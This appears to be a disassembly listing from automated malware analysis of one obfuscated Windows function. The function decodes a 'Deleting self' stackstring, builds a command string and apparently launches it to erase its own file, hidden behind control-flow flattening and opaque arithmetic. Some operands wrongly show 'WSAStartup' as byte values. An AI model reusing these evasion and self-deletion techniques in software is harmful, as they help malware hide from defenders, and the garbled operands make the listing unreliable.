Function at 0x18003418e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rax
pushf
mov eax, 0x399dc6f
pushf
not eax
add eax, 0xbc7385d4
xor eax, 0x8235ea89
rol eax, 0x66
popf
pushf
not eax
add eax, 0xe022b6d4
xor eax, 0xa44bf01e
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xf02ff066
xor eax, 0x8004a6f2
rol eax, 0x47
popf
cmp eax, 4
jne 0x1800341de
popf
pop rax
jmp 0x1800344b6
cmp eax, 0
jne 0x1800341ed
popf
pop rax
jmp 0x180034238
cmp eax, 3
jne 0x1800341fc
popf
pop rax
jmp 0x18003440e
cmp eax, 1
jne 0x18003420b
popf
pop rax
jmp 0x18003430e
cmp eax, 5
jne 0x18003421a
popf
pop rax
jmp 0x18003482b
cmp eax, 2
jne 0x180034229
popf
pop rax
jmp 0x1800343b9
cmp eax, 6
jne 0x180034238
popf
pop rax
jmp 0x1800349a8
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov dword [rsp + 0x20], 0x5c
xor eax, eax
mov byte [rsp + 0x24], 7
xor ebx, ebx
mov byte [rsp + 0x25], WSAStartup
mov byte [rsp + 0x26], 1
mov byte [rsp + 0x27], 0x7c
mov byte [rsp + 0x28], 0x18
mov byte [rsp + 0x29], 0x39
mov byte [rsp + 0x2a], 0x30
mov byte [rsp + 0x2b], 0x39
mov byte [rsp + 0x2c], 0x28
mov byte [rsp + 0x2d], 0x35
mov byte [rsp + 0x2e], 0x32
mov byte [rsp + 0x2f], 0x3b
mov byte [rsp + 0x30], 0x7c
mov byte [rsp + 0x31], 0x2f
mov byte [rsp + 0x32], 0x39
mov byte [rsp + 0x33], 0x30
mov byte [rsp + 0x35], al
mov byte [rsp + 0x34], 0x3a
movzx eax, byte [rsp + 0x24]
mov eax, ebx
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0x3f35eeff
pushf
not eax
add eax, 0xe0d8efd2
xor eax, 0x8051183a
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x8a647898
xor eax, 0xba9deb00
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x962046c6
xor eax, 0xf25408de
rol eax, 0x31
popf
jmp 0x1800341cf
movsx r8d, byte [rsp + rax + 0x24]
mov ecx, dword [rsp + 0x20]
movsx edx, cl
mov ecx, r8d
xor ecx, edx
mov byte [rsp + rax + 0x24], cl
inc rax
cmp rax, 0x11
jb 0x180034386
push rax
pushf
mov eax, 0x9457327d
pushf
not eax
add eax, 0xe1ebf422
xor eax, 0xa90fc5e0
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xf892a195
xor eax, 0x95f42746
rol eax, 0x26
popf
pushf
not eax
add eax, 0xde93fb07
xor eax, 0xea952fcd
rol eax, 0x60
popf
pushf
not eax
add eax, 0xd671afc4
xor eax, 0xf49bc83e
rol eax, 0x67
popf
jmp 0x1800341cf
push rax
pushf
mov eax, 0xd8862974
pushf
not eax
add eax, 0x97d885b6
xor eax, 0xd4279611
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xe6c9508e
xor eax, 0x8b5afe0a
rol eax, 0x8a
popf
jmp 0x1800341cf
mov byte [rsp + 0x35], bl
lea rax, [rsp + 0x24]
mov qword [rsp + 0x48], rbx
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], bl
push rax
pushf
mov eax, 0x63532509
pushf
not eax
add eax, 0xb86ab402
xor eax, 0xb86f324b
rol eax, 0x69
popf
pushf
not eax
add eax, 0xab225288
xor eax, 0xa1a8eaad
rol eax, 0x45
popf
jmp 0x1800341cf
inc r8
cmp byte [rax + r8], bl
jne 0x180034470
push rax
pushf
mov eax, 0x847692bc
pushf
not eax
add eax, 0x9a90a60b
xor eax, 0xa0455e59
rol eax, 0x41
popf
pushf
not eax
add eax, 0xfa53c393
xor eax, 0xa0d0fcdb
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xd061c749
xor eax, 0xcc9004c9
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xc9e48af2
xor eax, 0xa4f38627
rol eax, 5
popf
jmp 0x1800341cf
push rax
pushf
mov eax, 0x4df01c6e
pushf
not eax
add eax, 0xbf621f09
xor eax, 0xf274d2ab
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc721dc9f
xor eax, 0xfca1787d
rol eax, 5
popf
pushf
not eax
add eax, 0x84365642
xor eax, 0x8f168a29
rol eax, 0x6e
popf
jmp 0x1800341cf
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x38]
call fcn.180083564
lea rcx, [rsp + 0x38]
call fcn.180067829
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0xa5a97e6b
pushf
not r8d
add r8d, 0xfc25eaf1
xor r8d, 0xac79f1f7
rol r8d, 0x95
popf
pushf
not r8d
add r8d, 0xd48dfcba
xor r8d, 0xd5787d5e
rol r8d, 0xeb
popf
pushf
not r8d
add r8d, 0xbf430871
xor r8d, 0x94f52c03
rol r8d, 4
popf
pushf
not r8d
add r8d, 0xc7b03979
xor r8d, 0xabd96c1f
rol r8d, 0xca
popf
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x1f0]
mov r8d, 0x87476505
pushf
not r8d
add r8d, 0x8e2c1657
xor r8d, 0xabca511b
rol r8d, 0x13
popf
pushf
not r8d
add r8d, 0x8e9025cb
xor r8d, 0xfc422824
rol r8d, 0x41
popf
pushf
not r8d
add r8d, 0xb0f7889f
xor r8d, 0xf0865fb0
rol r8d, 0xb
popf
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0xe037eb2b
pushf
not r8d
add r8d, 0xbe73fb8d
xor r8d, 0xd0e3724d
rol r8d, 0x17
popf
pushf
not r8d
add r8d, 0xc18c8b23
xor r8d, 0xab850b31
rol r8d, 0x9c
popf
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x3c4e6d65
pushf
not r8d
add r8d, 0xd8e1a509
xor r8d, 0x8a228519
rol r8d, 0x83
popf
pushf
not r8d
add r8d, 0xa9db476c
xor r8d, 0xf445919b
rol r8d, 0xd5
popf
lea rdx, [rbp - 0x30]
xor ecx, ecx
jmp 0x180034628
call qword [0x180022e28]
mov r8d, 0x1dccd8e3
pushf
not r8d
add r8d, 0x8cf04083
xor r8d, 0xa3322517
rol r8d, 9
popf
pushf
not r8d
add r8d, 0xef764ba7
xor r8d, 0xae346a09
rol r8d, 0x9a
popf
pushf
not r8d
add r8d, 0xd80358a3
xor r8d, 0xba58c362
rol r8d, 0x13
popf
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
jmp 0x180034688
call qword [0x180022cc8]
mov r8d, 0xdfcc39dc
pushf
not r8d
add r8d, 0x892ee2c2
xor r8d, 0xfed24853
rol r8d, 0x54
popf
pushf
not r8d
add r8d, 0xb792e1bb
xor r8d, 0xac2d662e
rol r8d, 0x61
popf
lea rdx, [rbp + 0x1f0]
lea rcx, [0x1dedf2460]
pushf
sub rcx, 0x5edd6730
popf
jmp 0x1800346e0
call qword [0x180022e98]
lea rdx, [0x1ed94c329]
pushf
sub rdx, 0x6d9305f1
popf
lea rcx, [rbp + 0xe0]
jmp 0x180034700
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe0]
jmp 0x180034712
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x1cd94b09a]
pushf
sub rdx, 0x4d92f35a
popf
lea rcx, [rbp + 0xe0]
jmp 0x180034732
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
mov dword [rsp + 0x60], WSAStartup
mov qword [rbp - 0x6c], rax
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x64], rax
mov qword [rbp - 0x5c], rax
mov qword [rbp - 0x54], rax
mov qword [rbp - 0x4c], rax
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x3c], rax
mov dword [rbp - 0x34], eax
lea rax, [0x1ce49d9bc]
pushf
sub rax, 0x4e481c74
popf
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x68], rbx
mov qword [rbp - 0x78], rbx
mov dword [rbp - 0x70], ebx
mov dword [rsp + 0x64], 0x40
jmp 0x1800347a8
call qword [0x180022d80]
test eax, eax
je 0x1800347f8
push rax
pushf
mov eax, 0x19101f04
pushf
not eax
add eax, 0xea6fbdd2
xor eax, 0x902fd04c
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xa8f8600a
xor eax, 0x92121aa7
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xf6154995
xor eax, 0xa1a2871e
rol eax, 0xb6
popf
jmp 0x1800341cf
push rax
pushf
mov eax, 0x74c0b742
pushf
not eax
add eax, 0xac24f6fc
xor eax, 0xce6f2791
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xada515d3
xor eax, 0xbb8ee981
rol eax, 0xb7
popf
jmp 0x1800341cf
mov rcx, qword [rbp - 0x38]
mov edx, 0xbbbe01b5
pushf
not edx
add edx, 0xd1e11546
xor edx, 0x839a3580
rol edx, 0xa8
popf
pushf
not edx
add edx, 0x92eb11ca
xor edx, 0xd9c70134
rol edx, 0x15
popf
jmp 0x18003485f
call qword [0x180022da0]
jmp 0x180034866
call qword [0x180022d30]
mov rcx, rax
mov edx, 0x22284e06
pushf
not edx
add edx, 0xf688ad7a
xor edx, 0xe2df1006
rol edx, 0xe4
popf
pushf
not edx
add edx, 0xab2c6b3c
xor edx, 0xe35a0483
rol edx, 0x63
popf
pushf
not edx
add edx, 0xb713a859
xor edx, 0x9439d3eb
rol edx, 0xb6
popf
pushf
not edx
add edx, 0x956cfb51
xor edx, 0xd11b13c3
rol edx, 0xe7
popf
jmp 0x1800348c9
call qword [0x180022da0]
jmp 0x1800348d0
call qword [0x180022d38]
mov rcx, rax
mov edx, 0x2cce4ca1
pushf
not edx
add edx, 0xc8e64d5e
xor edx, 0x861e2f87
rol edx, 0x8d
popf
pushf
not edx
add edx, 0xce55807f
xor edx, 0xb281b79f
rol edx, 0x89
popf
pushf
not edx
add edx, 0xdcc50a62
xor edx, 0x8e4c4950
rol edx, 0x8c
popf
pushf
not edx
add edx, 0xf815a0eb
xor edx, 0xbf19d6b8
rol edx, 0x98
popf
jmp 0x180034933
call qword [0x180022e68]
xor r9d, r9d
lea r8, [rbp - 0x30]
lea edx, [r9 + 5]
lea ecx, [rdx - 1]
jmp 0x180034948
call qword [0x180022c98]
jmp 0x18003494f
call qword [0x180022d30]
mov rcx, rax
xor edx, edx
jmp 0x18003495b
call qword [0x180022e20]
push rax
pushf
mov eax, 0x3ac083ad
pushf
not eax
add eax, 0xc8b7b5a7
xor eax, 0xa493b026
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xe55b5b2d
xor eax, 0xb67c1840
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xa9b79eee
xor eax, 0xa69f119d
rol eax, 0xea
popf
jmp 0x1800341cf
call qword [0x180022d30]
mov rcx, rax
xor edx, edx
jmp 0x1800349b4
call qword [0x180022e20]
mov rbx, qword [rsp + 0x418]
add rsp, 0x400
pop rbp
ret